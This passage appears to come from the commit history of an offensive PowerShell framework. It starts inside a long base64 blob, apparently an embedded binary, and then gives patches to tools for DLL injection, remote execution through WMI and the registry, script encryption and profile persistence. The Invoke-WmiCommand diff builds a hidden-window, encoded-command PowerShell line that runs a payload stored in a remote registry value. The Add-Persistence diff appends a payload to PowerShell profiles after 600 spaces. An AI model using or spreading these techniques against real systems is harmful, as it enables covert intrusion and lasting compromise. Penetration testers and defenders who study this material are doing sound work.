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yEDOQM0U0VzRpNNk0OjWVNQM2IjZTNqg34jj9OBM5KTkxOYo8jT2ePQAAAHADAGQAAAAkMIYwizCdMLswzzDVMKEyvjJCNF40+DQ0NUc1ZTVzNSE3WDdfN2Q3aDdsN3A3xjcLOBA4FDgYOBw4tDrHOuU68zqhPNg83zzkPOg87DzwPEY9iz2QPZQ9mD2cPQCAAwAMAAAABjAvNgCQAwB4AAAANzg7OD84QzhHOEs4TzhTOFc4WzhfOGM4ZzhrOG84czh3OHs4fziDOIc4iziPOJM4lzibOJ84ozinOKs4rzizOMI48TkJPBE8JTwGPQs9HT3MPds95T1PPmA+Zz51Po4+mj6hPrM+zz4nP8Y/1j/jPwCgAwAUAAAABjAoMC0wOTBFMAAAALADAOwAAAB4NIg0jDSQNJw0oDSkNMQ0yDTMNPQ0+DT8NAA1cDZ0Nng2fDaANoQ2iDaMNpA2lDaYNpw2oDakNqg2rDawNrQ2uDa8NsA2xDbINsw20DbUNtg23DbgNuQ26DbsNvA29Db4Nvw2ADcENwg3DDcQNxQ3GDccNyA3JDcoNyw3MDc0Nzg3PDdAN0Q3SDdMN1A3VDdYN1w3YDdkN2g3bDdwN3Q3eDd8N4A3hDeIN4w3kDeUN5g3nDegN6Q3qDesN7A3tDe4N7w3wDfEN8g3zDfQN9Q32DfcN+A35DfoN+w38Df0N/g3/DcAwAMAOAAAAJA7mDugO6Q7qDusO7A7tDu4O7w7xDvIO8w70DvUO9g73DvgO+w79Dv4O/w7ADwEPADQAwDoAAAAGDEcMSAxJDEoMSwxMDE0MTgxPDFAMUQxSDFMMVAxVDFYMVwxYDFkMWgxbDFwMXQxeDF8MYAxhDGIMYwxkDGUMZgxnDGgMaQxqDGsMbAxtDG4MbwxwDHMMdAx1DHYMdwx4DHkMegx7DHwMfQx+DH8MQAyBDIIMgwyEDIUMhgyHDIgMiQyKDIsMjAyNDI4MjwyQDJEMkgyTDJQMlQyWDJcMmAyZDJoMmwycDJ0MngygDKEMogyjDKQMpQymDKcMqAypDKoMqwysDK0MrgyvDLAMsQyyDLMMtg/3D/gP+Q/AAAA4AMA0AEAAEwwVDBcMGQwbDB0MHwwhDCMMJQwnDCkMKwwtDC8MMQwzDDUMNww5DDsMPQw/DAEMQwxFDEcMSQxLDE0MTwxRDFMMVQxXDFkMWwxdDF8MYQxjDGUMZwxpDGsMbQxvDHEMcwx1DHcMeQx7DH0MfwxBDIMMhQyHDIkMiwyNDI8MkQyTDJUMlwyZDJsMnQyfDKEMowylDKcMqQyrDK0MrwyxDLMMtQy3DLkMuwy9DL8MgQzDDMUMxwzJDMsMzQzPDNEM0wzVDNcM2QzbDN0M3wzhDOMM5QznDOkM6wztDO8M8QzzDPUM9wz5DPsM/Qz/DMENAw0FDQcNCQ0LDQ0NDw0RDRMNFQ0XDRkNGw0dDR8NIQ0jDSUNJw0pDSsNLQ0vDTENMw01DTcNOQ07DT0NPw0BDUMNRQ1HDUkNSw1NDU8NUQ1TDVUNVw1ZDVsNXQ1fDWENYw1lDWcNaQ1rDW0Nbw1xDXMNdQ13DXkNew19DX8NQQ2DDYUNhw2JDYsNjQ2PDZENkw2VDZcNmQ2bDZ0Nnw2hDaMNpQ2nDakNqw2tDa8NsQ2zDbUNtw25DbsNvQ2/DYENww3FDccNyQ3LDc0Nzw3RDdMN1Q3XDdkNwDwAwDQAQAAWDFgMWgxcDF4MYAxiDGQMZgxoDGoMbAxuDHAMcgx0DHYMeAx6DHwMfgxADIIMhAyGDIgMigyMDI4MkAySDJQMlgyYDJoMnAyeDKAMogykDKYMqAyqDKwMrgywDLIMtAy2DLgMugy8DL4MgAzCDMQMxgzIDMoMzAzODNAM0gzUDNYM2AzaDNwM3gzgDOIM5AzmDOgM6gzsDO4M8AzyDPQM9gz4DPoM/Az+DMANAg0EDQYNCA0KDQwNDg0QDRINFA0WDRgNGg0cDR4NIA0iDSQNJg0oDSoNLA0uDTANMg00DTYNOA06DTwNPg0ADUINRA1GDUgNSg1MDU4NUA1SDVQNVg1YDVoNXA1eDWANYg1kDWYNaA1qDWwNbg1wDXINdA12DXgNeg18DX4NQA2CDYQNhg2IDYoNjA2ODZANkg2UDZYNmA2aDZwNng2gDaINpA2mDagNqg2sDa4NsA2yDbQNtg24DboNvA2+DYANwg3EDcYNyA3KDcwNzg3QDdIN1A3WDdgN2g3cDd4N4A3iDeQN5g3oDeoN7A3uDfAN8g30DfYN+A36DfwN/g3ADgIOBA4GDggOCg4MDg4OEA4SDhQOFg4YDhoOHA4AAAEAEwAAABqMm4ycjJ2Mgw8FDwcPCQ8LDw0PDw8RDxMPFQ8XDxkPGw8dDx8PIQ8jDyUPJw8pDysPLQ8vDzEPMw81DzcPOQ87DwAAAAQBAAUAQAAuDXENdA13DXoNfQ1ADYINhA2GDYgNig2MDY4NkA2SDZQNlg2YDZoNnA2eDaANog2kDaYNqA2qDawNrg2wDbINtA22DbgNug28Db4NgA3CDcQNxg3IDcoNzA3ODdAN0g3UDdYN2A3aDdwN3g3gDeIN5A3mDegN6g3sDu4O8A7yDvQO9g74DvoO/A7+DsAPAg8EDwYPCA8KDwwPDg8QDxEPEg8TDxQPFQ8WDxcPGA8ZDxoPGw8cDx0PHg8fDyAPIQ8iDyMPJA8lDyYPJw8oDykPKg8rDywPMA8xDzIPMw80DzUPNg83Dz0PPg8/DwAPQQ9CD0MPRA9FD0YPRw9JD0sPTA9ND04PTw9UD0AAAAwBAAUAAAAmDmcOaA5pDm4OQAAAEAEAHQEAADsMfAx9DH4MfwxADIEMgwyEDIUMlwyYDJsMnAydDLAMsQyyDLMMtAy1DLYMtwy4DLkMugy7DLwMvQy+DL8MgAzBDMIMwwzEDMUMxgzHDMgMyQzKDMsMzAzNDM4MzwzQDNEM0gzTDNQM1QzWDNcM2AzZDNoM2wzcDN0M3gzfDOAM4QziDOMM5AzlDOYM5wzoDOkM6wzsDO8M8AzxDPIM8wz0DPUM9gz3DPgM+Qz6DPsM/Az9DP4M/wzADQENAg0DDQQNBQ0GDQcNCA0JDQsNDA0NDQ4NDw0QDRENEg0TDRQNFQ0WDRcNGA0ZDRoNGw0iDSMNJA0lDSYNJw0oDSkNKg0rDSwNLQ0uDS8NMA0xDTINMw00DTUNNg04DTkNOg07DQ0NTg1RDVQNVQ1WDVcNWA1ZDVoNXA1eDV8NYA1iDWMNZg1nDWoNaw1uDW8NcA1yDXMNdA12DXcNeA16DXsNfg1/DUINgw2GDYcNig2LDY4Njw2SDZMNlg2XDZgNmg2bDZwNng2fDaINow2mDacNqA2pDawNsA2xDbINsw20DbUNtg23DbgNuQ26DbsNvA29Db4Nvw2ADcENwg3DDcQNxQ3GDccNyA3JDcoNyw3MDc0Nzg3PDeIN4w3vDfAN8Q3yDfMN3w4kDiUOJg4nDigOKQ4qDisOLA4tDi4OLw4wDjEOMg4zDjQONQ42DjcOOA46DjsOPQ4+Dj8OBw5IDkkOSg5LDkwOTQ5ODlEOUg5TDlQOVQ5WDlcOWA5ZDloOWw5cDl0OXg5fDmAOYQ5iDmMOZA5lDmYOZw5oDmkOag5rDmwObg5vDnEOcg50DnUOdg55DnwOfQ5+Dn8OQA6BDoIOgw6EDoUOhg6JDowOjQ6ODo8OkA6TDpYOlw6YDpkOmg6bDpwOnQ6eDp8OoA6hDqIOow6kDqUOpg6nDqgOqQ6qDqsOrA6vDrIOsw60DrUOtg63DrgOuQ66DrsOvA69Dr4Ovw6ADsEOwg7DDsQOxQ7GDscOyA7JDsoOyw7MDs4O0Q7SDtUO2A7ZDtoO2w7cDt0O3g7fDuAO4Q7iDuMO5A7lDuYO5w7oDukO6g7rDuwO7Q7uDu8O8A7xDvIO8w70DvUO9g73DvgO+Q76DvsO/A79Dv4O/w7ADwEPAg8DDwQPBQ8GDwcPCA8JDwoPDQ8QDxEPEg8TDxQPFw8YDxkPGg8bDxwPHQ8eDx8PIA8hDyIPIw8kDyUPJg8sDzIPOA8+Dz8PBA9FD0oPSw9QD1QPVQ9WD1cPWA9ZD1wPZA9lD2YPaw9sD20Pbw9wD3EPcg9zD3QPdQ92D3cPeA95D3oPew98D30Pfg9/D0APgQ+CD4MPhA+FD4YPhw+ID4kPig+LD4wPjQ+OD48PkA+RD5IPkw+UD5UPlg+XD5gPmQ+aD5sPnA+dD54Pnw+gD6EPog+jD6QPpQ+mD6cPqA+pD6oPqw+sD60Prg+vD7APsQ+yD7MPtA+1D7YPtw+4D7kPug+7D7wPvQ++D78PgA/BD8IPwAAAFAEACAAAABEMEgwmDCIM4wzkDOYM6AzpDOoM6wzsDMA0AUAdAAAAIw2mDY0Ojg6RDpIOlQ6WDpkOmg6iDqoOsQ6yDrkOug6CDsoO0g7VDtwO5A7sDu4O7w72Dv4OxQ8GDw4PFg8eDyYPLg82Dz4PBg9OD1YPXg9mD24Pdg9+D0YPjg+WD54Ppg+uD7UPtg+9D74PgAABgC8AAAAJDBYMDgxaDF4MYgxmDGoMcAxzDHQMdQx8DH0MTAyUDdgN2Q3aDdsN3A3dDd4N3w3gDeEN5A3lDeYN5w3oDekN6g3rDfgOOQ46DjsOPA49Dj8ODg5dDmwOSg6MDpkOmw6oDqoOtw65DoYOyA7VDtcO5A7mDsoPDA8ZDxsPKA8qDzcPOQ8GD0gPVQ9XD2YPag9sD3gPfA9+D0IPhA+RD5MPoA+iD68PsQ+9D78Pmg/cD+oP+Q/ABAGALgAAAAgMFwwuDD0MDAxiDGQMcQxzDEAMggyPDJEMtgy4DIUMxwzUDNYM4wzlDPcM+Az+DM0NHA0rDQINUQ1iDXENQA2PDZ4NrQ2wDYYN1Q3kDfMNwg4RDh4OHw4hDikOLA40DjcOAg5RDmAOcQ5yDnQORg6VDqQOsw6CDtEO4A7tDu4O8A76DvsO/Q7FDwYPCA8SDyIPMQ8yDzQPPg8ND1wPbQ9uD3APfg9ND5wPqw+6D4AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") { From 924103aa015be3e8838c2a9bacb5194fe5984226 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Mon, 14 Dec 2015 20:43:51 -0800 Subject: [PATCH 061/296] Invoke-DllInjection Pester test improvement The test dll I now use is advpack.dll since that is present in all versions of windows. --- Tests/CodeExecution.tests.ps1 | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/Tests/CodeExecution.tests.ps1 b/Tests/CodeExecution.tests.ps1 index b8e415e6..2771e780 100644 --- a/Tests/CodeExecution.tests.ps1 +++ b/Tests/CodeExecution.tests.ps1 @@ -125,19 +125,19 @@ Describe 'Invoke-Shellcode' { } Describe 'Invoke-DllInjection' { - $Accessibilitycpl = 'accessibilitycpl.dll' - $AccessibilitycplPath = "$($Env:SystemRoot)\System32\$Accessibilitycpl" + $Advpack = 'advpack.dll' + $AdvpackPath = "$($Env:SystemRoot)\System32\$Advpack" It 'should inject a known system DLL' { - if (-not (Test-Path $AccessibilitycplPath)) { - throw "$AccessibilitycplPath does not exist on disk." + if (-not (Test-Path $AdvpackPath)) { + throw "$AdvpackPath does not exist on disk." } - $LoadedModule = Invoke-DllInjection -ProcessID $PID -Dll $AccessibilitycplPath + $LoadedModule = Invoke-DllInjection -ProcessID $PID -Dll $AdvpackPath $LoadedModule | Should Not BeNullOrEmpty $LoadedModule -is [System.Diagnostics.ProcessModule] | Should Be $True - $LoadedModule.ModuleName | Should Be $Accessibilitycpl + $LoadedModule.ModuleName | Should Be $Advpack } It 'should not inject a non-existent DLL' { @@ -149,7 +149,7 @@ Describe 'Invoke-DllInjection' { } It 'should not inject to a non-existent process' { - { Invoke-DllInjection -ProcessID 0 -Dll $AccessibilitycplPath } | Should Throw + { Invoke-DllInjection -ProcessID 0 -Dll $AdvpackPath } | Should Throw } } From f6e032c3b14dd6433587c50a4fafcb43e5e18413 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Tue, 15 Dec 2015 09:10:35 -0800 Subject: [PATCH 062/296] Invoke-WmiCommand now obtains full powershell path Addresses issue #95. --- CodeExecution/Invoke-WmiCommand.ps1 | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/CodeExecution/Invoke-WmiCommand.ps1 b/CodeExecution/Invoke-WmiCommand.ps1 index 6ee1e156..7d2bb172 100644 --- a/CodeExecution/Invoke-WmiCommand.ps1 +++ b/CodeExecution/Invoke-WmiCommand.ps1 @@ -209,6 +209,8 @@ the output of your payload back. :P 'HKEY_CURRENT_CONFIG' { $Hive = 2147483653 } } + $HKEY_LOCAL_MACHINE = 2147483650 + $WmiMethodArgs = @{} # If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod @@ -253,6 +255,18 @@ the output of your payload back. :P throw "[$Computer] You do not have permission to perform all the registry operations necessary for Invoke-WmiCommand." } + $PSSettingsPath = 'SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell' + $PSPathValueName = 'Path' + + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKEY_LOCAL_MACHINE, $PSSettingsPath, $PSPathValueName + + if ($Result.ReturnValue -ne 0) { + throw "[$Computer] Unable to obtain powershell.exe path from the following registry value: HKEY_LOCAL_MACHINE\$PSSettingsPath\$PSPathValueName" + } + + $PowerShellPath = $Result.sValue + Write-Verbose "Full PowerShell path: $PowerShellPath" + $EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Payload)) Write-Verbose "[$Computer] Storing the payload into the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" @@ -293,7 +307,7 @@ the output of your payload back. :P $Base64Payload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($RemotePayloadRunner)) - $Cmdline = "powershell -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload" + $Cmdline = "$PowerShellPath -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload" # Execute the payload runner on the remote system $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\cimv2' -Class 'Win32_Process' -Name 'Create' -ArgumentList $Cmdline @@ -301,7 +315,7 @@ the output of your payload back. :P Start-Sleep -Seconds 5 if ($Result.ReturnValue -ne 0) { - throw "[$Computer] Unable execute payload stored within the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" + throw "[$Computer] Unable to execute payload stored within the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" } Write-Verbose "[$Computer] Payload successfully executed from: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" From f70c63f9d53167299404db582bc0a8acc96a661b Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Tue, 15 Dec 2015 11:55:47 -0800 Subject: [PATCH 063/296] Invoke-WmiCommand is now PSv2 compatible This bug fix addresses issue #96. As much as a hate dropping files to disk, this was the easiest way to preserve objects in PSv2+. If someone want to implement the [de]serialization themselves and keep everything in memory, please submit a PR. --- CodeExecution/Invoke-WmiCommand.ps1 | 25 +++++++++++++++++++------ 1 file changed, 19 insertions(+), 6 deletions(-) diff --git a/CodeExecution/Invoke-WmiCommand.ps1 b/CodeExecution/Invoke-WmiCommand.ps1 index 7d2bb172..80bed868 100644 --- a/CodeExecution/Invoke-WmiCommand.ps1 +++ b/CodeExecution/Invoke-WmiCommand.ps1 @@ -265,7 +265,7 @@ the output of your payload back. :P } $PowerShellPath = $Result.sValue - Write-Verbose "Full PowerShell path: $PowerShellPath" + Write-Verbose "[$Computer] Full PowerShell path: $PowerShellPath" $EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Payload)) @@ -296,11 +296,18 @@ the output of your payload back. :P if (($Result.ReturnValue -eq 0) -and ($Result.sValue)) { $Payload = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Result.sValue)) - $SerilizedPayloadResult = Invoke-Expression ($Payload) | % { - [Management.Automation.PSSerializer]::Serialize($_, 4) - } + $TempSerializedResultPath = [IO.Path]::GetTempFileName() + + $PayloadResult = Invoke-Expression ($Payload) + + Export-Clixml -InputObject $PayloadResult -Path $TempSerializedResultPath + + $SerilizedPayloadText = [IO.File]::ReadAllText($TempSerializedResultPath) + + $null = Invoke-WmiMethod @WmiMethodArgs -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $SerilizedPayloadText, $RegistryResultValueName + + Remove-Item -Path $SerilizedPayloadResult -Force - $null = Invoke-WmiMethod @WmiMethodArgs -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $SerilizedPayloadResult, $RegistryResultValueName $null = Invoke-WmiMethod @WmiMethodArgs -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName } } @@ -329,7 +336,13 @@ the output of your payload back. :P Write-Verbose "[$Computer] Payload results successfully retrieved from: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName" $SerilizedPayloadResult = $Result.sValue - $PayloadResult = [Management.Automation.PSSerializer]::Deserialize($SerilizedPayloadResult) + + $TempSerializedResultPath = [IO.Path]::GetTempFileName() + + Out-File -InputObject $SerilizedPayloadResult -FilePath $TempSerializedResultPath + $PayloadResult = Import-Clixml -Path $TempSerializedResultPath + + Remove-Item -Path $TempSerializedResultPath $FinalResult = New-Object PSObject -Property @{ PSComputerName = $Computer From fdcdeab7020e5c18be1c12a4526f90b2c0cdb6bb Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Wed, 16 Dec 2015 08:50:34 -0800 Subject: [PATCH 064/296] Fixed Invoke-WmiCommand credential popup issue Easy fix to issue #97 --- CodeExecution/Invoke-WmiCommand.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CodeExecution/Invoke-WmiCommand.ps1 b/CodeExecution/Invoke-WmiCommand.ps1 index 80bed868..c15d478d 100644 --- a/CodeExecution/Invoke-WmiCommand.ps1 +++ b/CodeExecution/Invoke-WmiCommand.ps1 @@ -185,7 +185,7 @@ the output of your payload back. :P [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] - $Credential, + $Credential = [Management.Automation.PSCredential]::Empty, [Management.ImpersonationLevel] $Impersonation, From 9a2dfad3de260977138f536b1332404ea1bf5db8 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Wed, 16 Dec 2015 10:15:14 -0800 Subject: [PATCH 065/296] Fixed mangled decrypted script output Addresses issue #80. This was a tricky fix because the script should ideally handle Unicode and Ascii encoded scripts. I haven't tested scripts with international characters but I would imagine those script would get mangled since the decrypted output is ultimately normalized to ascii. --- ScriptModification/Out-EncryptedScript.ps1 | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/ScriptModification/Out-EncryptedScript.ps1 b/ScriptModification/Out-EncryptedScript.ps1 index 1764d17f..eba48f7e 100644 --- a/ScriptModification/Out-EncryptedScript.ps1 +++ b/ScriptModification/Out-EncryptedScript.ps1 @@ -90,7 +90,7 @@ This command can be used to encrypt any text-based file/script $AsciiEncoder = New-Object System.Text.ASCIIEncoding $ivBytes = $AsciiEncoder.GetBytes($InitializationVector) # While this can be used to encrypt any file, it's primarily designed to encrypt itself. - [Byte[]] $scriptBytes = [Text.Encoding]::ASCII.GetBytes((Get-Content -Encoding Ascii -Path $ScriptPath)) + [Byte[]] $scriptBytes = Get-Content -Encoding Byte -ReadCount 0 -Path $ScriptPath $DerivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($Password, $AsciiEncoder.GetBytes($Salt), "SHA1", 2) $Key = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider $Key.Mode = [System.Security.Cryptography.CipherMode]::CBC @@ -126,7 +126,8 @@ function de([String] `$b, [String] `$c) `$i.Close(); `$j.Close(); `$f.Clear(); -return `$encoding.GetString(`$h,0,`$h.Length); +if ((`$h.Length -gt 3) -and (`$h[0] -eq 0xEF) -and (`$h[1] -eq 0xBB) -and (`$h[2] -eq 0xBF)) { `$h = `$h[3..(`$h.Length-1)]; } +return `$encoding.GetString(`$h).TrimEnd([Char] 0); } "@ From ef37a138b8e0f76ff3ce1d6c2ccef65afae57d75 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Wed, 16 Dec 2015 13:36:22 -0800 Subject: [PATCH 066/296] Fixed Add-Persistence. Issue #98 --- Persistence/Persistence.psm1 | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1 index 7528f2e4..b27b9811 100644 --- a/Persistence/Persistence.psm1 +++ b/Persistence/Persistence.psm1 @@ -660,7 +660,8 @@ if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::G {$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER} else {$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER} -' '*600+$Script.ToString()|Out-File $Prof -A -NoC -Fo +mkdir (Split-Path -Parent $Prof) +(gc $Prof) + (' ' * 600 + $Script)|Out-File $Prof -Fo iex $Payload|Out-Null Write-Output $Payload} else From f5d9b2527584912c87699f52fa639cf9d0fab42f Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Wed, 16 Dec 2015 14:31:03 -0800 Subject: [PATCH 067/296] Invoke-DllInjection detects OS arch on all OSes This fix addresses issue #99. While I'm not the biggest fan of performing tests based on environment variables, I felt that making additional Win32 API calls would have been overkill. --- CodeExecution/Invoke-DllInjection.ps1 | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/CodeExecution/Invoke-DllInjection.ps1 b/CodeExecution/Invoke-DllInjection.ps1 index 2d2019dd..f862f92b 100644 --- a/CodeExecution/Invoke-DllInjection.ps1 +++ b/CodeExecution/Invoke-DllInjection.ps1 @@ -224,12 +224,10 @@ http://www.exploit-monday.com $PowerShell32bit = $False } - $OSArchitecture = (Get-WmiObject Win32_OperatingSystem).OSArchitecture - - switch ($OSArchitecture) - { - '32-bit' { $64bitOS = $False } - '64-bit' { $64bitOS = $True } + if (${Env:ProgramFiles(x86)}) { + $64bitOS = $True + } else { + $64bitOS = $False } # The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null. From 1cdad586c841b34c4681cd30bf2b7a10151e2d21 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Wed, 16 Dec 2015 14:48:09 -0800 Subject: [PATCH 068/296] Added a slight delay to Invoke-DllInjection validation In some cases, the loaded module would show up as loaded after the check occurred. --- CodeExecution/Invoke-DllInjection.ps1 | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/CodeExecution/Invoke-DllInjection.ps1 b/CodeExecution/Invoke-DllInjection.ps1 index f862f92b..369d606a 100644 --- a/CodeExecution/Invoke-DllInjection.ps1 +++ 